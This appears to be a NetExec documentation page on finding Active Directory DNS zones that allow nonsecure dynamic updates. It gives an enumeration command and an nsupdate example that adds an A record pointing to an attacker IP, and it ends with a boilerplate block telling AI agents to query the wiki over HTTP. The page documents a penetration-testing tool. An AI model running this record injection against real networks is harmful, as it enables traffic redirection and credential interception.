# Enumerate Unsecure DNS Zones

This module enumerates DNS zones that are configured with the `Nonsecure and secure` setting for dynamic updates. This misconfiguration allows **unauthenticated users** to add DNS records and, in some cases, delete or modify existing records.

```bash
nxc ldap $DC_IP -u $USER -p $PASSWORD -M dns-nonsecure
```

## Exploitation

If you find misconfigured zones, you can interact with dynamic updates through `nsupdate`. Here is an example of adding an **A record** that points to the attacker machine:

```bash
nsupdate
> server $TARGET
> zone $ZONE
> update add $RECORD.$ZONE 0 A $ATTACKER_IP
> show
> send
```

<figure><img src="/files/sbQdYnDfW3IM6JhusfGZ" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.netexec.wiki/ldap-protocol/enumerate-unsecure-dns-zones.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
